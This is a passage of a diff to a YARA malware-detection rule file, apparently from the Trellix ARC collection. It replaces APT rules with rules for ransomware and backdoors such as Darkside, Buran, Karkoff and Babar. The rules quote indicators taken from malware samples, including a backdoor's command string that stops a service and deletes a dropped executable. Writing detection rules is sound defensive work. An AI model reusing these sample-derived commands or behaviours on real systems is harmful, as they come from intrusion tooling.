"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_MiniASP_pdb.yar#L1-L26" + description = "Rule to detect Darkside Ransomware as a DLL" + author = "TS @ McAfee ATR" + id = "e9d64637-dc8f-5650-81e1-34e27e6ee912" + date = "2021-05-14" + modified = "2023-07-27" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Darkside.yar#L26-L47" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "42334f2119069b8c0ececfb14a7030e480b5d18ca1cc35f1ceaee847bc040e53" - logic_hash = "8ee6f93aaae2c48cc5835269fd526371040cd33cc309220f92a150444ba21055" + hash = "f587adbd83ff3f4d2985453cd45c7ab1" + logic_hash = "39930b6f352642647ea6b80f941201b93d6a9defd42cb75f9e4f7239ff17a4ec" score = 75 quality = 70 - tags = "TROJAN, FILE" + tags = "RANSOM, FILE" + rule_type = "Public" rule_version = "v1" - malware_type = "trojan" - malware_family = "Trojan:W32/MiniASP" - actor_type = "Apt" - actor_group = "Unknown" + malware_type = "Ransom" strings: - $pdb = "\\Project\\mm\\Wininet\\Attack\\MiniAsp4\\Release\\MiniAsp.pdb" - $pdb1 = "\\XiaoME\\AiH\\20120410\\Attack\\MiniAsp3\\Release\\MiniAsp.pdb" + $s1 = "encryptor2.dll" wide ascii + $s2 = "DisableThreadLibraryCalls" wide ascii + $s3 = "KERNEL32.dll" wide ascii + $pattern1 = {D24DC8855EDD487B3CD2D545F11031E1FA85C2F2440712445F67D105B326533A77BA75B3383A98CE97EAA2B95798DCFA6B75B5573662F9ED5DC9B7D2E582FD94104E210F3EA62A1826B26B952FFBD5A70A97E6EC3D14794577A2980A0ED1EE02CA291623DD3721A7E68223EDA56F9E1325FE36E191D5C41F7227D55EDC3D5B9359C819} + $pattern2 = {87FC982E066F585B73D417C0D5F75B86B9F9F8286B4CC42BB2053912D595A68C07C0EDD0159AC785880C5483E246D3501F6523D05078B9B7510711423948D4CB367C83C0833BD04AD6DC655E1BEEA38770470BB48B6EBA70944E952526E4D87A03BAA485D7B4DA1318A00EF07FA76C0D} + $pattern3 = {1B6F099F1C3C62BBF5543FA03B919C7BF5E477D256CE79D98C55ACE8D69CDC9373B2F0A2B51414776D5226B74BF9A7CB935C9DD04BCFC19FC81418F7A39244A730697E1BC05418BF41DE50E4C8609533591CE80617D476E686B36CF2AE914CB3AFD720A33C0D5DE438F1CD0B} + $pattern4 = {5060E373F1D3B3BB8D15C851BBFC73F60390681C488F7C0B80FC2EDBC1ED88CEA82014B9223A70EA0BB7DD0D2560A29D39381FEE7B73AE22683AE05C369918F8C5772678A9F29CEF65854238D1C2B762CC12706637154F57A9} + $pattern5 = {EE452560DBD5A4F46FB562C9C707C8D014BB8F1C18E4467E249F5AC69A87954F5B69650B7A759CE2DD075E99CBCBA37A9C5A0650EDF06285F8F990AF6B94FBA08E3C0B2EBDE3C155ECDB06C30F95D76695} condition: - uint16( 0 ) == 0x5a4d and filesize < 80KB and any of them + filesize >= 45KB and filesize <= 70KB and all of ( $s* ) and 4 of ( $pattern* ) } -rule TRELLIX_ARC_Apt_Blackenergy_Pdb : TROJAN FILE +rule TRELLIX_ARC_Anatova_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the BlackEnergy trojan" + description = "Rule to detect the Anatova Ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "55c96b66-a8bf-5390-a75a-f3d2441c2a55" - date = "2013-02-15" + id = "6e3205aa-42e4-5449-877e-37494cdd096b" + date = "2019-01-22" modified = "2020-08-14" - reference = "https://www.kaspersky.com.au/resource-center/threats/blackenergy" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_blackenergy_pdb.yar#L1-L38" + reference = "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Anatova.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "4b2efcda5269f4b80dc417a2b01332185f2fafabd8ba7114fa0306baaab5a72d" - logic_hash = "7bb85d03d8f2a4d91554f7fea96e9bbe36b153cfa4a91fd13fb99d41d430c9e9" + hash = "97fb79ca6fc5d24384bf5ae3d01bf5e77f1d2c0716968681e79c097a7d95fb93" + logic_hash = "4fce15ad0ef2d3cb39f6092677f117308f847815cb2a5a491290a1f9d09776df" score = 75 - quality = 70 - tags = "TROJAN, FILE" + quality = 45 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "trojan" - malware_family = "Trojan:W32/BlackEngergy" + malware_type = "ransomware" + malware_family = "Ransom:W32/Anatova" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "msiexec.exe /i \"%s\" %s REBOOT=\"ReallySuppress\"" fullword wide - $s2 = "InstallUpdate: CreateProcess failed, Cmdline=%s Error=%d ." fullword wide - $s3 = "Portuguese=Instalando o Tempo de Execu" fullword wide - $s4 = "Initialization: Failed to initialize - Unable to get Upgrade Code." fullword wide - $s5 = "This version of Internet Explorer is not supported. You should upgrade Internet Explorer to version %s and run setup again. Se" wide - $s6 = "Initialization: Failed to open %s file, Make sure the file is not used by another process." fullword wide - $s7 = "o %s e execute a configura" fullword wide - $s8 = "Initialization: Failed to initialize - Unable to get Product Version." fullword wide - $s9 = "f:\\CB\\11X_Security\\Acrobat\\Installers\\BootStrapExe_Small\\Release\\Setup.pdb" fullword ascii - $s10 = "BootStrap.log" fullword wide - $s11 = "ACDownloaderDlg" fullword ascii - $s12 = "Initialization: Failed to initialize Product - msi key not specified." fullword wide - $s13 = "rio atualizar para o Service Pack %s e executar a instala" fullword wide - $s14 = "\\Msi.dll" fullword wide + $regex = /anatova[0-9]@tutanota.com/ condition: - uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 2000KB and $regex } -rule TRELLIX_ARC_Apt_Babar_Malware : BACKDOOR FILE +rule TRELLIX_ARC_Jeff_Dev_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect Babar malware" + description = "Rule to detect Jeff Dev Ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "3cbb63ce-ff93-51ee-93aa-2594fa1f8dad" - date = "2015-02-18" + id = "dd5e24f4-a2d8-5db5-9e7e-7f8bded5d401" + date = "2018-08-26" modified = "2020-08-14" - reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_babar_pdb.yar#L1-L35" + reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_jeff_dev.yar#L1-L28" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "c72a055b677cd9e5e2b2dcbba520425d023d906e6ee609b79c643d9034938ebf" - logic_hash = "02acef92691caed4573b609c111302427b9c27c5ef93f9199c52d75cb13e8615" + hash = "386d4617046790f7f1fcf37505be4ffe51d165ba7cbd42324aed723288ca7e0a" + logic_hash = "58a408f4e1781540e4abdb87b85b94c1f0ea49b40bf241d6d074bc2162ac2032" score = 75 quality = 45 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Babar" + malware_type = "ransomware" + malware_family = "Ransom:W32/Jeff" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "c:\\Documents and Settings\\admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper Release\\Release.pdb" fullword ascii - $s2 = "%COMMON_APPDATA%" fullword ascii - $s3 = "%%WINDIR%%\\%s\\%s" fullword ascii - $s4 = "/s /n %s \"%s\"" fullword ascii - $s5 = "/c start /wait " fullword ascii - $s6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" fullword ascii - $s7 = "constructor or from DllMain." fullword ascii - $s8 = "ComSpec" fullword ascii - $s9 = "APPDATA" fullword ascii - $s10 = "WINDIR" fullword ascii - $s11 = "USERPROFILE" fullword ascii + $s1 = "C:\\Users\\Umut\\Desktop\\takemeon" fullword wide + $s2 = "C:\\Users\\Umut\\Desktop\\" fullword ascii + $s3 = "PRESS HERE TO STOP THIS CREEPY SOUND AND VIEW WHAT HAPPENED TO YOUR COMPUTER" fullword wide + $s4 = "WHAT YOU DO TO MY COMPUTER??!??!!!" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them + ( uint16( 0 ) == 0x5a4d and filesize < 5000KB ) and all of them } -rule TRELLIX_ARC_Apt_Lagulon_Trojan_Pdb : TROJAN FILE +rule TRELLIX_ARC_Buran_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect trojan Lagulon based on PDB" + description = "Rule to detect Buran ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "a31a465d-1f16-5c3e-a62d-ea15c11253c3" - date = "2013-08-31" + id = "b96c0e5c-dce2-559d-9623-81e8a9a322f2" + date = "2019-11-05" modified = "2020-08-14" - reference = "https://www.cylance.com/operation-cleaver-cylance" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_lagulon_pdb.yar#L1-L25" + reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Buran.yar#L1-L27" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "e401340020688cdd0f5051b7553815eee6bc04a5a962900883f1b3676bf1de53" - logic_hash = "dad04c2deb990f253f952b768b74349dc9afb5f6db91ea3afff889f4c9f3230b" + logic_hash = "056cf2e6aca22876fb8bfafc14a3be0e42124a26edab42a6f7a928c87fb8fff4" score = 75 quality = 70 - tags = "TROJAN, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "trojan" - malware_family = "Trojan:W32/lagulon" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/Buran" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "\\proj\\wndTest\\Release\\wndTest.pdb" + $s1 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? C6 ?? ?? ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 } + $s2 = { 4? 33 ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? FF 5? ?? FF 7? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 74 } + $s3 = { A1 ?? ?? ?? ?? 99 5? 5? A1 ?? ?? ?? ?? 99 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 99 5? 5? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? ?? ?? 13 ?? ?? ?? 89 ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 4? 99 89 ?? ?? 89 ?? ?? FF 7? ?? FF 7? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 75 } + $s4 = { 5? 5? 5? 5? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 } + $s5 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 5? 5? A1 ?? ?? ?? ?? 99 E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 4? 5? 8B ?? ?? 8B ?? 83 ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 8C } condition: - uint16( 0 ) == 0x5a4d and filesize < 50KB and any of them + uint16( 0 ) == 0x5a4d and all of them } -rule TRELLIX_ARC_Apt_Elise_Pdb : BACKDOOR FILE +rule TRELLIX_ARC_Karkoff_Dnspionaje : BACKDOOR FILE { meta: - description = "Rule to detect Elise APT based on the PDB reference" + description = "Rule to detect the Karkoff malware" author = "Marc Rivero | McAfee ATR Team" - id = "cc8dd203-baad-5800-ba2c-f9c47d8ca6f0" - date = "2017-05-31" + id = "a5cdc65f-3a4c-5d97-9d88-8d60b14dfb9a" + date = "2019-04-23" modified = "2020-08-14" - reference = "https://attack.mitre.org/software/S0081/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_elise_pdb.yar#L1-L29" + reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_karkoff_dnspionaje.yar#L1-L30" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "b426dbe0f281fe44495c47b35c0fb61b28558b5c8d9418876e22ec3de4df9e7b" - logic_hash = "bb7eee8082aa0f6634a8c4cdb9cbe0e2a7f00b97e48609c81a21bdaac64a5496" + hash = "5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c" + logic_hash = "79dd0087f1197cb1b2cd98416302363951479ba5ebf82289768585b56ed21c3a" score = 75 quality = 70 tags = "BACKDOOR, FILE" rule_version = "v1" malware_type = "backdoor" - malware_family = "Backdoor:W32/Elise" - actor_type = "Cybercrime" + malware_family = "Backdoor:W32/Karkoff" + actor_type = "Apt" actor_group = "Unknown" strings: - $pdb = "\\lstudio\\projects\\lotus\\elise\\Release\\EliseDLL\\i386\\EliseDLL.pdb" - $pdb1 = "\\LStudio\\Projects\\Lotus\\Elise\\Release\\SetElise.pdb" - $pdb2 = "\\lstudio\\projects\\lotus\\elise\\Release\\SetElise\\i386\\SetElise.pdb" - $pdb3 = "\\LStudio\\Projects\\Lotus\\Elise\\Release\\Uninstaller.pdb" - $pdb4 = "\\lstudio\\projects\\lotus\\evora\\Release\\EvoraDLL\\i386\\EvoraDLL.pdb" + $s1 = "DropperBackdoor.Newtonsoft.Json.dll" fullword wide + $s2 = "C:\\Windows\\Temp\\MSEx_log.txt" fullword wide + $s3 = "DropperBackdoor.exe" fullword wide + $s4 = "get_ProcessExtensionDataNames" fullword ascii + $s5 = "get_ProcessDictionaryKeys" fullword ascii + $s6 = "https://www.newtonsoft.com/json 0" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 50KB and any of them + uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them } -rule TRELLIX_ARC_Apt_Gdocupload_Glooxmail : BACKDOOR FILE +rule TRELLIX_ARC_Apt_Babar_Malware : BACKDOOR FILE { meta: - description = "Rule to detect gdocupload tool used by APT1" + description = "Rule to detect Babar malware" author = "Marc Rivero | McAfee ATR Team" - id = "deb20196-65e6-5dac-af0c-2f16e5926715" - date = "2013-02-19" + id = "3cbb63ce-ff93-51ee-93aa-2594fa1f8dad" + date = "2015-02-18" modified = "2020-08-14" - reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_gdocupload_pdb.yar#L1-L32" + reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_babar_pdb.yar#L1-L35" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "295c5c7aa5fa29628dec9f42ed657fce0bc789079c4e51932bcbc99a28dfd440" - logic_hash = "e016bb636af22fae79875bebaf1b4bd4f2a403e797d7ee52ea0691b4d7a54cf8" + hash = "c72a055b677cd9e5e2b2dcbba520425d023d906e6ee609b79c643d9034938ebf" + logic_hash = "02acef92691caed4573b609c111302427b9c27c5ef93f9199c52d75cb13e8615" score = 75 quality = 45 tags = "BACKDOOR, FILE" rule_version = "v1" malware_type = "backdoor" - malware_family = "Backdoor:W32/Gdocupload" + malware_family = "Backdoor:W32/Babar" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "https://www.google.com/accounts/ServiceLogin?service=writely&passive=1209600&continue=http://docs.google.com/&followup=http://do" ascii - $s2 = "Referer: http://sn114w.snt114.mail.live.com/mail/AttachmentUploader.aspx?_ec=1" fullword ascii - $s3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET " ascii - $s4 = "e:\\Project\\mm\\Webmail\\Bin\\gdocs.pdb" fullword ascii - $s5 = "http://docs.google.com/?auth=" fullword ascii - $s6 = "x-guploader-client-info: mechanism=scotty flash; clientVersion=18067216" fullword ascii - $s7 = "http://docs.google.com/" fullword ascii - $s8 = "Referer: http://sn114w.snt114.mail.live.com/mail/EditMessageLight.aspx?n=%s" fullword ascii + $s1 = "c:\\Documents and Settings\\admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper Release\\Release.pdb" fullword ascii + $s2 = "%COMMON_APPDATA%" fullword ascii + $s3 = "%%WINDIR%%\\%s\\%s" fullword ascii + $s4 = "/s /n %s \"%s\"" fullword ascii + $s5 = "/c start /wait " fullword ascii + $s6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" fullword ascii + $s7 = "constructor or from DllMain." fullword ascii + $s8 = "ComSpec" fullword ascii + $s9 = "APPDATA" fullword ascii + $s10 = "WINDIR" fullword ascii + $s11 = "USERPROFILE" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them } rule TRELLIX_ARC_Apt_Hanover_Pdb : BACKDOOR FILE { @@ -151179,201 +151360,67 @@ rule TRELLIX_ARC_Apt_Hanover_Slidewin_Pdb : BACKDOOR FILE condition: uint16( 0 ) == 0x5a4d and filesize < 100KB and any of them } - -rule TRELLIX_ARC_Syskit : FILE -{ - meta: - description = "SYSkit backdoor" - author = "Christiaan @ McAfee ATR" - id = "f06db38f-52d5-51b5-a17f-63e285dd5f80" - date = "2019-09-17" - modified = "2020-04-02" - reference = "https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Tortoiseshell_Syskit.yar#L3-L40" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "5b489d47d56de5c770b6ff6d6d56bf0fb87174f4a8428052b28fb392d9ac3f87" - score = 75 - quality = 68 - tags = "FILE" - hash1 = "07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4" - hash2 = "f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193" - hash3 = "02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2" - - strings: - $x1 = "timeout /t 10 & sc stop dllhost & timeout /t 10 & del C:\\Windows\\Temp\\BAK.exe" fullword wide - $s2 = "lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.R" ascii - $s3 = "C:\\Windows\\Temp\\rconfig.xml" fullword wide - $s4 = "Add-Type -AssemblyName System.IO.Compression.FileSystem" fullword wide - $s5 = "serviceProcessInstaller1" fullword ascii - $s6 = " [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath)" fullword wide - $s7 = "exec_cmd2" fullword ascii - $s8 = "exec_cmd" fullword ascii - $s9 = "send_command_result" fullword ascii - $s10 = "mycontent" fullword ascii - $s11 = "Diagnostic Server Host" fullword wide - $s12 = "bytesToBeEncrypted" fullword ascii - $s13 = "createPostRequest" fullword ascii - $s14 = "myhash" fullword ascii - $s15 = "DD5783BCF1E9002BC00AD5B83A95ED6E4EBB4AD5" ascii - $s16 = "circle_time" fullword ascii - $s17 = "ServiceStart_AfterInstall" fullword ascii - $s18 = "serviceInstaller1" fullword ascii - $s19 = "BAK.ProjectInstaller.resources" fullword ascii - $s20 = "Dll host" fullword wide - $op0 = { 96 00 f1 0a 57 02 05 00 34 25 } - $op1 = { 96 00 83 05 5a 01 0e 00 38 28 } - $op2 = { 06 00 00 11 28 4d 00 00 0a 02 6f 4e 00 00 0a 28 } - - condition: - ( uint16( 0 ) == 0x5a4d and filesize < 50KB and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) -} -rule TRELLIX_ARC_Apt_Hikit_Rootkit : ROOTKIT FILE -{ - meta: - description = "Rule to detect the rootkit hikit based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "c53acbc6-8f4a-590b-8dd7-ce4da6d79cf8" - date = "2012-08-20" - modified = "2020-08-14" - reference = "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_hikit_rootkit_pdb.yar#L1-L28" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "8a425ababdfbe95bd8ac7d4f519be16c0f1fd0b7eea2874124db2f00dd6eb56d" - score = 75 - quality = 70 - tags = "ROOTKIT, FILE" - rule_version = "v1" - malware_type = "rootkit" - malware_family = "Rootkit:W32/Hikit" - actor_type = "Cybercrime" - actor_group = "Unknown" - - strings: - $pdb = "\\JmVodServer\\hikit\\bin32\\RServer.pdb" - $pdb1 = "\\JmVodServer\\hikit\\bin32\\w7fw.pdb" - $pdb2 = "\\JmVodServer\\hikit\\bin32\\w7fw_2k.pdb" - $pdb3 = "\\JmVodServer\\hikit\\bin64\\w7fw_x64.pdb" - - condition: - uint16( 0 ) == 0x5a4d and filesize < 100KB and any of them -} -rule TRELLIX_ARC_Enfal_Pdb : BACKDOOR FILE -{ - meta: - description = "Rule to detect Enfal malware" - author = "Marc Rivero | McAfee ATR Team" - id = "09b9667c-cf58-5438-958d-19a99fe91e32" - date = "2013-08-27" - modified = "2020-08-14" - reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/enfal" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/enfal_pdb.yar#L1-L29" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "6756808313359cbd7c50cd779f809bc9e2d83c08da90dbd80f5157936673d0bf" - logic_hash = "1f7785a4c54981c3e7cb417718312e0ed82132b9bd9288f7b0f322cbeafbaecd" - score = 75 - quality = 70 - tags = "BACKDOOR, FILE" - rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Enfal" - actor_type = "Apt" - actor_group = "Unknown" - - strings: - $pdb = "\\Documents and Settings\\Administrator\\My Documents\\Work\\EtenFalcon\\Release\\DllServiceTrojan.pdb" - $pdb1 = "\\Documents and Settings\\Administrator\\My Documents\\Work\\EtenFalcon\\Release\\ServiceDll.pdb" - $pdb2 = "\\Release\\ServiceDll.pdb" - $pdb3 = "\\muma\\0511\\Release\\ServiceDll.pdb" - $pdb4 = "\\programs\\LuridDownLoader\\LuridDownloader for Falcon\\ServiceDll\\Release\\ServiceDll.pdb" - - condition: - uint16( 0 ) == 0x5a4d and filesize < 150KB and any of them -} -rule TRELLIX_ARC_Apt_Gauss_Pdb : BACKDOOR FILE -{ - meta: - description = "Rule to detect Gauss based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "209223cc-16e5-5596-8744-21ad71b5ec2a" - date = "2012-08-14" - modified = "2020-08-14" - reference = "https://securelist.com/the-mystery-of-the-encrypted-gauss-payload-5/33561/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/gauss_pdb.yar#L1-L25" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "7b0d0612b4ecc889a901115c2e77776ef0ea65c056b283d12e80f863062cea28" - logic_hash = "cb20c87ea976f395e000f2c631ffd52b09dca2af37adceafe5be72b37f75a997" - score = 75 - quality = 70 - tags = "BACKDOOR, FILE" - 